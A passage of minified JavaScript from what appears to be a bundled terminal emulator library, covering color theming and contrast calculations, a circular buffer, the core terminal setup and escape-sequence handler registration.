e=.3;i.selectionInactiveBackgroundTransparent=o.color.opacity(i.selectionInactiveBackgroundTransparent,e)}if(i.ansi=t.DEFAULT_ANSI_COLORS.slice(),i.ansi[0]=p(e.black,t.DEFAULT_ANSI_COLORS[0]),i.ansi[1]=p(e.red,t.DEFAULT_ANSI_COLORS[1]),i.ansi[2]=p(e.green,t.DEFAULT_ANSI_COLORS[2]),i.ansi[3]=p(e.yellow,t.DEFAULT_ANSI_COLORS[3]),i.ansi[4]=p(e.blue,t.DEFAULT_ANSI_COLORS[4]),i.ansi[5]=p(e.magenta,t.DEFAULT_ANSI_COLORS[5]),i.ansi[6]=p(e.cyan,t.DEFAULT_ANSI_COLORS[6]),i.ansi[7]=p(e.white,t.DEFAULT_ANSI_COLORS[7]),i.ansi[8]=p(e.brightBlack,t.DEFAULT_ANSI_COLORS[8]),i.ansi[9]=p(e.brightRed,t.DEFAULT_ANSI_COLORS[9]),i.ansi[10]=p(e.brightGreen,t.DEFAULT_ANSI_COLORS[10]),i.ansi[11]=p(e.brightYellow,t.DEFAULT_ANSI_COLORS[11]),i.ansi[12]=p(e.brightBlue,t.DEFAULT_ANSI_COLORS[12]),i.ansi[13]=p(e.brightMagenta,t.DEFAULT_ANSI_COLORS[13]),i.ansi[14]=p(e.brightCyan,t.DEFAULT_ANSI_COLORS[14]),i.ansi[15]=p(e.brightWhite,t.DEFAULT_ANSI_COLORS[15]),e.extendedAnsi){const s=Math.min(i.ansi.length-16,e.extendedAnsi.length);for(let r=0;r<s;r++)i.ansi[r+16]=p(e.extendedAnsi[r],t.DEFAULT_ANSI_COLORS[r+16])}this._contrastCache.clear(),this._halfContrastCache.clear(),this._updateRestoreColors(),this._onChangeColors.fire(this.colors)}restoreColor(e){this._restoreColor(e),this._onChangeColors.fire(this.colors)}_restoreColor(e){if(void 0!==e)switch(e){case 256:this._colors.foreground=this._restoreColors.foreground;break;case 257:this._colors.background=this._restoreColors.background;break;case 258:this._colors.cursor=this._restoreColors.cursor;break;default:this._colors.ansi[e]=this._restoreColors.ansi[e]}else for(let e=0;e<this._restoreColors.ansi.length;++e)this._colors.ansi[e]=this._restoreColors.ansi[e]}modifyColors(e){e(this._colors),this._onChangeColors.fire(this.colors)}_updateRestoreColors(){this._restoreColors={foreground:this._colors.foreground,background:this._colors.background,cursor:this._colors.cursor,ansi:this._colors.ansi.slice()}}};function p(e,t){if(void 0!==e)try{return o.css.toColor(e)}catch(e){}return t}t.ThemeService=v=s([r(0,c.IOptionsService)],v)},6349:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.CircularList=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._maxLength=e,this.onDeleteEmitter=this.register(new s.EventEmitter),this.onDelete=this.onDeleteEmitter.event,this.onInsertEmitter=this.register(new s.EventEmitter),this.onInsert=this.onInsertEmitter.event,this.onTrimEmitter=this.register(new s.EventEmitter),this.onTrim=this.onTrimEmitter.event,this._array=new Array(this._maxLength),this._startIndex=0,this._length=0}get maxLength(){return this._maxLength}set maxLength(e){if(this._maxLength===e)return;const t=new Array(e);for(let i=0;i<Math.min(e,this.length);i++)t[i]=this._array[this._getCyclicIndex(i)];this._array=t,this._maxLength=e,this._startIndex=0}get length(){return this._length}set length(e){if(e>this._length)for(let t=this._length;t<e;t++)this._array[t]=void 0;this._length=e}get(e){return this._array[this._getCyclicIndex(e)]}set(e,t){this._array[this._getCyclicIndex(e)]=t}push(e){this._array[this._getCyclicIndex(this._length)]=e,this._length===this._maxLength?(this._startIndex=++this._startIndex%this._maxLength,this.onTrimEmitter.fire(1)):this._length++}recycle(){if(this._length!==this._maxLength)throw new Error(\"Can only recycle when the buffer is full\");return this._startIndex=++this._startIndex%this._maxLength,this.onTrimEmitter.fire(1),this._array[this._getCyclicIndex(this._length-1)]}get isFull(){return this._length===this._maxLength}pop(){return this._array[this._getCyclicIndex(this._length---1)]}splice(e,t,...i){if(t){for(let i=e;i<this._length-t;i++)this._array[this._getCyclicIndex(i)]=this._array[this._getCyclicIndex(i+t)];this._length-=t,this.onDeleteEmitter.fire({index:e,amount:t})}for(let t=this._length-1;t>=e;t--)this._array[this._getCyclicIndex(t+i.length)]=this._array[this._getCyclicIndex(t)];for(let t=0;t<i.length;t++)this._array[this._getCyclicIndex(e+t)]=i[t];if(i.length&&this.onInsertEmitter.fire({index:e,amount:i.length}),this._length+i.length>this._maxLength){const e=this._length+i.length-this._maxLength;this._startIndex+=e,this._length=this._maxLength,this.onTrimEmitter.fire(e)}else this._length+=i.length}trimStart(e){e>this._length&&(e=this._length),this._startIndex+=e,this._length-=e,this.onTrimEmitter.fire(e)}shiftElements(e,t,i){if(!(t<=0)){if(e<0||e>=this._length)throw new Error(\"start argument out of range\");if(e+i<0)throw new Error(\"Cannot shift elements in list beyond index 0\");if(i>0){for(let s=t-1;s>=0;s--)this.set(e+s+i,this.get(e+s));const s=e+t+i-this._length;if(s>0)for(this._length+=s;this._length>this._maxLength;)this._length--,this._startIndex++,this.onTrimEmitter.fire(1)}else for(let s=0;s<t;s++)this.set(e+s+i,this.get(e+s))}}_getCyclicIndex(e){return(this._startIndex+e)%this._maxLength}}t.CircularList=n},1439:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.clone=void 0,t.clone=function e(t,i=5){if(\"object\"!=typeof t)return t;const s=Array.isArray(t)?[]:{};for(const r in t)s[r]=i<=1?t[r]:t[r]&&e(t[r],i-1);return s}},8055:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.contrastRatio=t.toPaddedHex=t.rgba=t.rgb=t.css=t.color=t.channels=t.NULL_COLOR=void 0;const s=i(6114);let r=0,n=0,o=0,a=0;var h,c,l,d,_;function u(e){const t=e.toString(16);return t.length<2?\"0\"+t:t}function f(e,t){return e<t?(t+.05)/(e+.05):(e+.05)/(t+.05)}t.NULL_COLOR={css:\"#00000000\",rgba:0},function(e){e.toCss=function(e,t,i,s){return void 0!==s?`#${u(e)}${u(t)}${u(i)}${u(s)}`:`#${u(e)}${u(t)}${u(i)}`},e.toRgba=function(e,t,i,s=255){return(e<<24|t<<16|i<<8|s)>>>0}}(h||(t.channels=h={})),function(e){function t(e,t){return a=Math.round(255*t),[r,n,o]=_.toChannels(e.rgba),{css:h.toCss(r,n,o,a),rgba:h.toRgba(r,n,o,a)}}e.blend=function(e,t){if(a=(255&t.rgba)/255,1===a)return{css:t.css,rgba:t.rgba};const i=t.rgba>>24&255,s=t.rgba>>16&255,c=t.rgba>>8&255,l=e.rgba>>24&255,d=e.rgba>>16&255,_=e.rgba>>8&255;return r=l+Math.round((i-l)*a),n=d+Math.round((s-d)*a),o=_+Math.round((c-_)*a),{css:h.toCss(r,n,o),rgba:h.toRgba(r,n,o)}},e.isOpaque=function(e){return 255==(255&e.rgba)},e.ensureContrastRatio=function(e,t,i){const s=_.ensureContrastRatio(e.rgba,t.rgba,i);if(s)return _.toColor(s>>24&255,s>>16&255,s>>8&255)},e.opaque=function(e){const t=(255|e.rgba)>>>0;return[r,n,o]=_.toChannels(t),{css:h.toCss(r,n,o),rgba:t}},e.opacity=t,e.multiplyOpacity=function(e,i){return a=255&e.rgba,t(e,a*i/255)},e.toColorRGB=function(e){return[e.rgba>>24&255,e.rgba>>16&255,e.rgba>>8&255]}}(c||(t.color=c={})),function(e){let t,i;if(!s.isNode){const e=document.createElement(\"canvas\");e.width=1,e.height=1;const s=e.getContext(\"2d\",{willReadFrequently:!0});s&&(t=s,t.globalCompositeOperation=\"copy\",i=t.createLinearGradient(0,0,1,1))}e.toColor=function(e){if(e.match(/#[\\da-f]{3,8}/i))switch(e.length){case 4:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),_.toColor(r,n,o);case 5:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),a=parseInt(e.slice(4,5).repeat(2),16),_.toColor(r,n,o,a);case 7:return{css:e,rgba:(parseInt(e.slice(1),16)<<8|255)>>>0};case 9:return{css:e,rgba:parseInt(e.slice(1),16)>>>0}}const s=e.match(/rgba?\\(\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*(,\\s*(0|1|\\d?\\.(\\d+))\\s*)?\\)/);if(s)return r=parseInt(s[1]),n=parseInt(s[2]),o=parseInt(s[3]),a=Math.round(255*(void 0===s[5]?1:parseFloat(s[5]))),_.toColor(r,n,o,a);if(!t||!i)throw new Error(\"css.toColor: Unsupported css format\");if(t.fillStyle=i,t.fillStyle=e,\"string\"!=typeof t.fillStyle)throw new Error(\"css.toColor: Unsupported css format\");if(t.fillRect(0,0,1,1),[r,n,o,a]=t.getImageData(0,0,1,1).data,255!==a)throw new Error(\"css.toColor: Unsupported css format\");return{rgba:h.toRgba(r,n,o,a),css:e}}}(l||(t.css=l={})),function(e){function t(e,t,i){const s=e/255,r=t/255,n=i/255;return.2126*(s<=.03928?s/12.92:Math.pow((s+.055)/1.055,2.4))+.7152*(r<=.03928?r/12.92:Math.pow((r+.055)/1.055,2.4))+.0722*(n<=.03928?n/12.92:Math.pow((n+.055)/1.055,2.4))}e.relativeLuminance=function(e){return t(e>>16&255,e>>8&255,255&e)},e.relativeLuminance2=t}(d||(t.rgb=d={})),function(e){function t(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c<i&&(o>0||a>0||h>0);)o-=Math.max(0,Math.ceil(.1*o)),a-=Math.max(0,Math.ceil(.1*a)),h-=Math.max(0,Math.ceil(.1*h)),c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));return(o<<24|a<<16|h<<8|255)>>>0}function i(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c<i&&(o<255||a<255||h<255);)o=Math.min(255,o+Math.ceil(.1*(255-o))),a=Math.min(255,a+Math.ceil(.1*(255-a))),h=Math.min(255,h+Math.ceil(.1*(255-h))),c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));return(o<<24|a<<16|h<<8|255)>>>0}e.ensureContrastRatio=function(e,s,r){const n=d.relativeLuminance(e>>8),o=d.relativeLuminance(s>>8);if(f(n,o)<r){if(o<n){const o=t(e,s,r),a=f(n,d.relativeLuminance(o>>8));if(a<r){const t=i(e,s,r);return a>f(n,d.relativeLuminance(t>>8))?o:t}return o}const a=i(e,s,r),h=f(n,d.relativeLuminance(a>>8));if(h<r){const i=t(e,s,r);return h>f(n,d.relativeLuminance(i>>8))?a:i}return a}},e.reduceLuminance=t,e.increaseLuminance=i,e.toChannels=function(e){return[e>>24&255,e>>16&255,e>>8&255,255&e]},e.toColor=function(e,t,i,s){return{css:h.toCss(e,t,i,s),rgba:h.toRgba(e,t,i,s)}}}(_||(t.rgba=_={})),t.toPaddedHex=u,t.contrastRatio=f},8969:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.CoreTerminal=void 0;const s=i(844),r=i(2585),n=i(4348),o=i(7866),a=i(744),h=i(7302),c=i(6975),l=i(8460),d=i(1753),_=i(1480),u=i(7994),f=i(9282),v=i(5435),p=i(5981),g=i(2660);let m=!1;class S extends s.Disposable{get onScroll(){return this._onScrollApi||(this._onScrollApi=this.register(new l.EventEmitter),this._onScroll.event((e=>{var t;null===(t=this._onScrollApi)||void 0===t||t.fire(e.position)}))),this._onScrollApi.event}get cols(){return this._bufferService.cols}get rows(){return this._bufferService.rows}get buffers(){return this._bufferService.buffers}get options(){return this.optionsService.options}set options(e){for(const t in e)this.optionsService.options[t]=e[t]}constructor(e){super(),this._windowsWrappingHeuristics=this.register(new s.MutableDisposable),this._onBinary=this.register(new l.EventEmitter),this.onBinary=this._onBinary.event,this._onData=this.register(new l.EventEmitter),this.onData=this._onData.event,this._onLineFeed=this.register(new l.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onResize=this.register(new l.EventEmitter),this.onResize=this._onResize.event,this._onWriteParsed=this.register(new l.EventEmitter),this.onWriteParsed=this._onWriteParsed.event,this._onScroll=this.register(new l.EventEmitter),this._instantiationService=new n.InstantiationService,this.optionsService=this.register(new h.OptionsService(e)),this._instantiationService.setService(r.IOptionsService,this.optionsService),this._bufferService=this.register(this._instantiationService.createInstance(a.BufferService)),this._instantiationService.setService(r.IBufferService,this._bufferService),this._logService=this.register(this._instantiationService.createInstance(o.LogService)),this._instantiationService.setService(r.ILogService,this._logService),this.coreService=this.register(this._instantiationService.createInstance(c.CoreService)),this._instantiationService.setService(r.ICoreService,this.coreService),this.coreMouseService=this.register(this._instantiationService.createInstance(d.CoreMouseService)),this._instantiationService.setService(r.ICoreMouseService,this.coreMouseService),this.unicodeService=this.register(this._instantiationService.createInstance(_.UnicodeService)),this._instantiationService.setService(r.IUnicodeService,this.unicodeService),this._charsetService=this._instantiationService.createInstance(u.CharsetService),this._instantiationService.setService(r.ICharsetService,this._charsetService),this._oscLinkService=this._instantiationService.createInstance(g.OscLinkService),this._instantiationService.setService(r.IOscLinkService,this._oscLinkService),this._inputHandler=this.register(new v.InputHandler(this._bufferService,this._charsetService,this.coreService,this._logService,this.optionsService,this._oscLinkService,this.coreMouseService,this.unicodeService)),this.register((0,l.forwardEvent)(this._inputHandler.onLineFeed,this._onLineFeed)),this.register(this._inputHandler),this.register((0,l.forwardEvent)(this._bufferService.onResize,this._onResize)),this.register((0,l.forwardEvent)(this.coreService.onData,this._onData)),this.register((0,l.forwardEvent)(this.coreService.onBinary,this._onBinary)),this.register(this.coreService.onRequestScrollToBottom((()=>this.scrollToBottom()))),this.register(this.coreService.onUserInput((()=>this._writeBuffer.handleUserInput()))),this.register(this.optionsService.onMultipleOptionChange([\"windowsMode\",\"windowsPty\"],(()=>this._handleWindowsPtyOptionChange()))),this.register(this._bufferService.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this.register(this._inputHandler.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this._writeBuffer=this.register(new p.WriteBuffer(((e,t)=>this._inputHandler.parse(e,t)))),this.register((0,l.forwardEvent)(this._writeBuffer.onWriteParsed,this._onWriteParsed))}write(e,t){this._writeBuffer.write(e,t)}writeSync(e,t){this._logService.logLevel<=r.LogLevelEnum.WARN&&!m&&(this._logService.warn(\"writeSync is unreliable and will be removed soon.\"),m=!0),this._writeBuffer.writeSync(e,t)}resize(e,t){isNaN(e)||isNaN(t)||(e=Math.max(e,a.MINIMUM_COLS),t=Math.max(t,a.MINIMUM_ROWS),this._bufferService.resize(e,t))}scroll(e,t=!1){this._bufferService.scroll(e,t)}scrollLines(e,t,i){this._bufferService.scrollLines(e,t,i)}scrollPages(e){this.scrollLines(e*(this.rows-1))}scrollToTop(){this.scrollLines(-this._bufferService.buffer.ydisp)}scrollToBottom(){this.scrollLines(this._bufferService.buffer.ybase-this._bufferService.buffer.ydisp)}scrollToLine(e){const t=e-this._bufferService.buffer.ydisp;0!==t&&this.scrollLines(t)}registerEscHandler(e,t){return this._inputHandler.registerEscHandler(e,t)}registerDcsHandler(e,t){return this._inputHandler.registerDcsHandler(e,t)}registerCsiHandler(e,t){return this._inputHandler.registerCsiHandler(e,t)}registerOscHandler(e,t){return this._inputHandler.registerOscHandler(e,t)}_setup(){this._handleWindowsPtyOptionChange()}reset(){this._inputHandler.reset(),this._bufferService.reset(),this._charsetService.reset(),this.coreService.reset(),this.coreMouseService.reset()}_handleWindowsPtyOptionChange(){let e=!1;const t=this.optionsService.rawOptions.windowsPty;t&&void 0!==t.buildNumber&&void 0!==t.buildNumber?e=!!(\"conpty\"===t.backend&&t.buildNumber<21376):this.optionsService.rawOptions.windowsMode&&(e=!0),e?this._enableWindowsWrappingHeuristics():this._windowsWrappingHeuristics.clear()}_enableWindowsWrappingHeuristics(){if(!this._windowsWrappingHeuristics.value){const e=[];e.push(this.onLineFeed(f.updateWindowsModeWrappedState.bind(null,this._bufferService))),e.push(this.registerCsiHandler({final:\"H\"},(()=>((0,f.updateWindowsModeWrappedState)(this._bufferService),!1)))),this._windowsWrappingHeuristics.value=(0,s.toDisposable)((()=>{for(const t of e)t.dispose()}))}}}t.CoreTerminal=S},8460:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;t<this._listeners.length;t++)if(this._listeners[t]===e)return void this._listeners.splice(t,1)}})),this._event}fire(e,t){const i=[];for(let e=0;e<this._listeners.length;e++)i.push(this._listeners[e]);for(let s=0;s<i.length;s++)i[s].call(void 0,e,t)}dispose(){this.clearListeners(),this._disposed=!0}clearListeners(){this._listeners&&(this._listeners.length=0)}},t.forwardEvent=function(e,t){return e((e=>t.fire(e)))}},5435:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.InputHandler=t.WindowsOptionsReportType=void 0;const n=i(2584),o=i(7116),a=i(2015),h=i(844),c=i(482),l=i(8437),d=i(8460),_=i(643),u=i(511),f=i(3734),v=i(2585),p=i(6242),g=i(6351),m=i(5941),S={\"(\":0,\")\":1,\"*\":2,\"+\":3,\"-\":1,\".\":2},C=131072;function b(e,t){if(e>24)return t.setWinLines||!1;switch(e){case 1:return!!t.restoreWin;case 2:return!!t.minimizeWin;case 3:return!!t.setWinPosition;case 4:return!!t.setWinSizePixels;case 5:return!!t.raiseWin;case 6:return!!t.lowerWin;case 7:return!!t.refreshWin;case 8:return!!t.setWinSizeChars;case 9:return!!t.maximizeWin;case 10:return!!t.fullscreenWin;case 11:return!!t.getWinState;case 13:return!!t.getWinPosition;case 14:return!!t.getWinSizePixels;case 15:return!!t.getScreenSizePixels;case 16:return!!t.getCellSizePixels;case 18:return!!t.getWinSizeChars;case 19:return!!t.getScreenSizeChars;case 20:return!!t.getIconTitle;case 21:return!!t.getWinTitle;case 22:return!!t.pushTitle;case 23:return!!t.popTitle;case 24:return!!t.setWinLines}return!1}var y;!function(e){e[e.GET_WIN_SIZE_PIXELS=0]=\"GET_WIN_SIZE_PIXELS\",e[e.GET_CELL_SIZE_PIXELS=1]=\"GET_CELL_SIZE_PIXELS\"}(y||(t.WindowsOptionsReportType=y={}));let w=0;class E extends h.Disposable{getAttrData(){return this._curAttrData}constructor(e,t,i,s,r,h,_,f,v=new a.EscapeSequenceParser){super(),this._bufferService=e,this._charsetService=t,this._coreService=i,this._logService=s,this._optionsService=r,this._oscLinkService=h,this._coreMouseService=_,this._unicodeService=f,this._parser=v,this._parseBuffer=new Uint32Array(4096),this._stringDecoder=new c.StringToUtf32,this._utf8Decoder=new c.Utf8ToUtf32,this._workCell=new u.CellData,this._windowTitle=\"\",this._iconName=\"\",this._windowTitleStack=[],this._iconNameStack=[],this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone(),this._onRequestBell=this.register(new d.EventEmitter),this.onRequestBell=this._onRequestBell.event,this._onRequestRefreshRows=this.register(new d.EventEmitter),this.onRequestRefreshRows=this._onRequestRefreshRows.event,this._onRequestReset=this.register(new d.EventEmitter),this.onRequestReset=this._onRequestReset.event,this._onRequestSendFocus=this.register(new d.EventEmitter),this.onRequestSendFocus=this._onRequestSendFocus.event,this._onRequestSyncScrollBar=this.register(new d.EventEmitter),this.onRequestSyncScrollBar=this._onRequestSyncScrollBar.event,this._onRequestWindowsOptionsReport=this.register(new d.EventEmitter),this.onRequestWindowsOptionsReport=this._onRequestWindowsOptionsReport.event,this._onA11yChar=this.register(new d.EventEmitter),this.onA11yChar=this._onA11yChar.event,this._onA11yTab=this.register(new d.EventEmitter),this.onA11yTab=this._onA11yTab.event,this._onCursorMove=this.register(new d.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onLineFeed=this.register(new d.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onScroll=this.register(new d.EventEmitter),this.onScroll=this._onScroll.event,this._onTitleChange=this.register(new d.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onColor=this.register(new d.EventEmitter),this.onColor=this._onColor.event,this._parseStack={paused:!1,cursorStartX:0,cursorStartY:0,decodedLength:0,position:0},this._specialColors=[256,257,258],this.register(this._parser),this._dirtyRowTracker=new k(this._bufferService),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._parser.setCsiHandlerFallback(((e,t)=>{this._logService.debug(\"Unknown CSI code: \",{identifier:this._parser.identToString(e),params:t.toArray()})})),this._parser.setEscHandlerFallback((e=>{this._logService.debug(\"Unknown ESC code: \",{identifier:this._parser.identToString(e)})})),this._parser.setExecuteHandlerFallback((e=>{this._logService.debug(\"Unknown EXECUTE code: \",{code:e})})),this._parser.setOscHandlerFallback(((e,t,i)=>{this._logService.debug(\"Unknown OSC code: \",{identifier:e,action:t,data:i})})),this._parser.setDcsHandlerFallback(((e,t,i)=>{\"HOOK\"===t&&(i=i.toArray()),this._logService.debug(\"Unknown DCS code: \",{identifier:this._parser.identToString(e),action:t,payload:i})})),this._parser.setPrintHandler(((e,t,i)=>this.print(e,t,i))),this._parser.registerCsiHandler({final:\"@\"},(e=>this.insertChars(e))),this._parser.registerCsiHandler({intermediates:\" \",final:\"@\"},(e=>this.scrollLeft(e))),this._parser.registerCsiHandler({final:\"A\"},(e=>this.cursorUp(e))),this._parser.registerCsiHandler({intermediates:\" \",final:\"A\"},(e=>this.scrollRight(e))),this._parser.registerCsiHandler({final:\"B\"},(e=>this.cursorDown(e))),this._parser.registerCsiHandler({final:\"C\"},(e=>this.cursorForward(e))),this._parser.registerCsiHandler({final:\"D\"},(e=>this.cursorBackward(e))),this._parser.registerCsiHandler({final:\"E\"},(e=>this.cursorNextLine(e))),this._parser.registerCsiHandler({final:\"F\"},(e=>this.cursorPrecedingLine(e))),this._parser.registerCsiHandler({final:\"G\"},(e=>this.cursorCharAbsolute(e))),this._parser.registerCsiHandler({final:\"H\"},(e=>this.cursorPosition(e))),this._parser.registerCsiHandler({final:\"I\"},(e=>this.cursorForwardTab(e))),this._parser.registerCsiHandler({final:\"J\"},(e=>this.eraseInDisplay(e,!1))),this._parser.registerCsiHandler({prefix:\"?\",final:\"J\"},(e=>this.eraseInDisplay(e,!0))),this._parser.registerCsiHandler({final:\"K\"},(e=>this.eraseInLine(e,!1))),this._parser.registerCsiHandler({prefix:\"?\",final:\"K\"},(e=>this.eraseInLine(e,!0))),this._parser.registerCsiHandler({final:\"L\"},(e=>this.insertLines(e))),this._parser.registerCsiHandler({final:\"M\"},(e=>this.deleteLines(e))),this._parser.registerCsiHandler({final:\"P\"},(e=>this.deleteChars(e))),this._parser.registerCsiHandler({final:\"S\"},(e=>this.scrollUp(e))),this._parser.registerCsiHandler({final:\"T\"},(e=>this.scrollDown(e))),this._parser.registerCsiHandler({final:\"X\"},(e=>this.eraseChars(e))),this._parser.registerCsiHandler({final:\"Z\"},(e=>this.cursorBackwardTab(e))),this._parser.registerCsiHandler({final:\"`\"},(e=>this.charPosAbsolute(e))),this._parser.registerCsiHandler({final:\"a\"},(e=>this.hPositionRelative(e))),this._parser.registerCsiHandler({final:\"b\"},(e=>this.repeatPrecedingCharacter(e))),this._parser.registerCsiHandler({final:\"c\"},(e=>this.sendDeviceAttributesPrimary(e))),this._parser.registerCsiHandler({prefix:\">\",final:\"c\"},(e=>this.sendDeviceAttributesSecondary(e))),this._parser.registerCsiHandler({final:\"d\"},(e=>this.linePosAbsolute(e))),this._parser.registerCsiHandler({final:\"e\"},(e=>this.vPositionRelative(e))),this._parser.registerCsiHandler({final:\"f\"},(e=>this.hVPosition(e))),this._parser.registerCsiHandler({final:\"g\"},(e=>this.tabClear(e))),this._parser.registerCsiHandler({final:\"h\"},(e=>this.setMode(e))),this._parser.registerCsiHandler({prefix:\"?\",final:\"h\"},(e=>this.setModePrivate(e))),this._parser.registerCsiHandler({final:\"l\"},(e=>this.resetMode(e))),this._parser.registerCsiHandler({prefix:\"?\",final:\"l\"},(e=>this.resetModePrivate(e))),this._parser.registerCsiHandler({final:\"m\"},(e=>this.charAttributes(e))),this._parser.registerCsiHandler({final:\"n\"},(e=>this.deviceStatus(e))),this._parser.registerCsiHandler({prefix:\"?\",final:\"n\"},(e=>this.deviceStatusPrivate(e))),this._parser.registerCsiHandler({intermediates:\"!\",final:\"p\"},(e=>this.softReset(e))),this._parser.registerCsiHandler({intermediates:\" \",final:\"q\"},(e=>this.setCursorStyle(e))),this._parser.registerCsiHandler({final:\"r\"},(e=>this.setScrollRegion(e))),this._parser.registerCsiHandler({final:\"s\"},(e=>this.saveCursor(e))),this._parser.registerCsiHandler({final:\"t\"},(e=>this.windowOptions(e))),this._parser.registerCsiHandler({final:\"u\"},(e=>this.restoreCursor(e))),this._parser.registerCsiHandler({intermediates:\"'\",final:\"}\"},(e=>this.insertColumns(e))),this._parser.registerCsiHandler({intermediates:\"'\",final:\"~\"},(e=>this.deleteColumns(e))),this._parser.registerCsiHandler({intermediates:'\"',final:\"q\"},(e=>this.selectProtected(e))),this._parser.registerCsiHandler({intermediates:\"$\",final:\"p\"},(e=>this.requestMode(e,!0))),this._parser.registerCsiHandler({prefix:\"?\",intermediates:\"$\",final:\"p\"},(e=>this.requestMode(e,!1))),this._parser.setExecuteHandler(n.C0.BEL,(()=>this.bell())),this._parser.setExecuteHandler(n.C0.LF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.VT,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.FF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.CR,(()=>this.carriageReturn())),this._parser.setExecuteHandler(n.C0.BS,(()=>this.backspace())),this._parser.setExecuteHandler(n.C0.HT,(()=>this.tab())),this._parser.setExecuteHandler(n.C0.SO,(()=>this.shiftOut())),this._parser.setExecuteHandler(n.C0.SI,(()=>this.shiftIn())),this._parser.setExecuteHandler(n.C1.IND,(()=>this.index())),this._parser.setExecuteHandler(n.C1.NEL,(()=>this.nextLine())),this._parser.setExecuteHandler(n.C1.HTS,(()=>this.tabSet())),this._parser.registerOscHandler(0,new p.OscHandler((e=>(this.setTitle(e),this.setIconName(e),!0)))),this._parser.registerOscHandler(1,new p.OscHandler((e=>this.setIconName(e)))),this._parser.registerOscHandler(2,new p.OscHandler((e=>this.setTitle(e)))),this._parser.registerOscHandler(4,new p.OscHandler((e=>this.setOrReportIndexedColor(e)))),this._parser.registerOscHandler(8,new p.OscHandler((e=>this.setHyperlink(e)))),this._parser.registerOscHandler(10,new p.OscHandler((e=>this.setOrReportFgColor(e)))),this._parser.registerOscHandler(11,new p.OscHandler((e=>this.setOrReportBgColor(e)))),this._parser.registerOscHandler(12,new p.OscHandler((e=>this.setOrReportCursorColor(e)))),this._parser.registerOscHandler(104,new p.OscHandler((e=>this.restoreIndexedColor(e)))),this._parser.registerOscHandler(110,new p.OscHandler((e=>this.restoreFgColor(e)))),this._parser.registerOscHandler(111,new p.OscHandler((e=>this.restoreBgColor(e)))),this._parser.registerOscHandler(112,new p.OscHandler((e=>this.restoreCursorColor(e)))),this._parser.registerEscHandler({final:\"7\"},(()=>this.saveCursor())),this._parser.registerEscHandler({final:\"8\"},(()=>this.restoreCursor())),this._parser.registerEscHandler({final:\"D\"},(()=>this.index())),this._parser.registerEscHandler({final:\"E\"},(()=>this.nextLine())),this._parser.registerEscHandler({final:\"H\"},(()=>this.tabSet())),this._parser.registerEscHandler({final:\"M\"},(()=>this.reverseIndex())),this._parser.registerEscHandler({final:\"=\"},(()=>this.keypadApplicationMode())),this._parser.registerEscHandler({final:\">\"},(()=>this.keypadNumericMode())),this._parser.registerEscHandler({final:\"c\"},(()=>this.fullReset())),this._parser.registerEscHandler({final:\"n\"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:\"o\"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:\"|\"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:\"}\"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:\"~\"},(()=>this.setgLevel(1))),this._parser.registerEscHandler({intermediates:\"%\",final:\"@\"},(()=>this.selectDefaultCharset())),this._parser.registerEscHandler({intermediates:\"%\",final:\"G\"},(()=>this.selectDefaultCharset()));for(const e in 